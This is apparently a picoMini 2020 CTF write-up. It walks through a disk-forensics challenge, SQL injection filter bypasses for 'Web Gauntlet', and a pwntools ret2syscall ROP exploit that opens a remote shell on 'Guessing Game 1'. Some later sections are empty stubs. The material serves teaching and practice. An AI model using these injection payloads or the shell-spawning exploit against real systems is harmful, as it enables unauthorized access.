picoMini 2020

{"author" : ["ret2basic"]}

Pitter, Patter, Platters (Autopsy)

Challenge

'Suspicious' is written all over this disk image. Download suspicious.dd.sda1

Solution

Open the file in Autopsy. There is a text file named suspicious-file.txt:

Flag

Web Gauntlet (SQLite Injection, WAF Bypass)

Challenge

Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:44979/ http://jupiter.challenges.picoctf.org:44979/filter.php

Solution

Some Background Knowledge

If we enter user:password on the login page, the backend SQL query will be something like this:

SELECT * FROM users WHERE username='user' AND password='solarwinds123';

Typically the very first payload for testing SQLi is ' or 1=1;--, which results in the following SQL query:

SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';

Here the leading ' closes the username field and anything comes after -- is considered as comment (hence ignored). Since '' evaluates to False and 1=1 evaluates to True, the entire SQL statement always evaluates to True.

Round 1

Filter: or

In this round, the boolean expression or is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin, one possible payload without using or is admin';--. The corresponding SQL query is:

SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';

The SQL query got executed is shown in the background:

Round 1 Done

Round 2

Filter: or and like = --

For this round, simply remove the -- from the payload for Round 1. The corresponding SQL query is:

SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';

This query is still semantically correct since ; closes the statement SELECT * FROM users WHERE username='admin':

Round 2 Done

Round 3

Filter: or and = like > < --

The payload for Round 2 works for this round as well:

Round 4

Filter: or and = like > < -- admin

Since admin is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION keyword in SQL allows multiple SQL statements to be executed. For example:

SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people

In our case, we could construct an UNION attack as the following:

SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';

However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/ (empty comment is equivalent to space):

SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';

This payload works:

Round 4 Done

Round 5

Filter: or and = like > < -- union admin

Since union is filtered in this round, we should switch back to the admin';-- idea. There are two things that need to be changed:

  1. Since admin is filtered, we could split admin into adm'||'in, where || is used for concatenating strings.

  2. Since -- is filtered, we could replace ;-- with /* to comment out the things that we don't need.

The complete SQL query is:

SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';

Now go grab your flag:

Round 5 Done

Source Code

<?php
session_start();
if (!isset($_SESSION["round"])) {
$_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($round === 1) {
$filter = array("or");
if ($view) {
echo "Round1: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 2) {
$filter = array("or", "and", "like", "=", "--");
if ($view) {
echo "Round2: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 3) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round3: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 4) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round4: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 5) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round5: ".implode(" ", $filter)."<br/>";
}
} else if ($round >= 6) {
if ($view) {
highlight_file("filter.php");
}
} else {
$_SESSION["round"] = 1;
}
// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>

Flag

picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}

Guessing Game 1 (ret2syscall)

Challenge

I made a simple game to show off my programming skills. See if you can beat it! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 26735

Makefile

all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln

The binary is statically linked, so things like ret2libc won't work.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}

Note that the function get_random() does not return a random number at all since rand() is unseeded. To confirm:

#include <stdio.h>
#include <stdlib.h>
#define BUFSIZE 100
long get_random()
{
return rand() % BUFSIZE;
}
int main(int argc, char **argv)
{
printf("%ld\n", get_random());
}

The output is 83, no matter how many times you run it.

Also, pay attention to these two lines of the source code:

long ans = get_random(); // ans = 83
ans = increment(ans); // ans = 84

The correct answer to the question "What number would you like to guess?" should be 84.

Solution

Since the binary does not contain the string /bin/sh\x00, we have to construct a 2-stage exploit:

  • Stage 1: build a ROP chain for writing the string /bin/sh\x00 to a writable memory location. A common choice is the .bss section. The address of .bss can be found using Pwntools elf.bss() method.

  • Stage 2: perform ret2syscall to execute execve(<address of /bin/sh>, 0, 0).

Exploit

#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")
elf = ELF("vuln", checksec=False)
local = False
if local:
r = elf.process()
else:
host = "jupiter.challenges.picoctf.org"
port = 26735
r = remote(host, port)
#--------ret2syscall--------#
offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c
payload = flat(
b"A" * offset,
# Write "/bin/sh\x00" to bss
pop_rdx, "/bin/sh\x00",
pop_rax, bin_sh_address,
write_gadget,
# Call execve
pop_rax, 0x3b,
pop_rdi, bin_sh_address,
pop_rsi, 0,
pop_rdx, 0,
syscall,
)
r.sendlineafter("What number would you like to guess?\n", "84")
r.sendlineafter("Name? ", payload)
r.interactive()

Flag

Guessing Game 2

Challenge

It's the Return of your favorite game! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 57529

Makefile

all:
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
clean:
rm vuln

The binary is dynamically linked this time, which makes ret2libc possible.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}

Solution

Exploit

Flag

OPT Implementation

Challenge

Yay reversing! Relevant files: otp flag.txt

Solution

Implementation

Flag

tags: picoCTF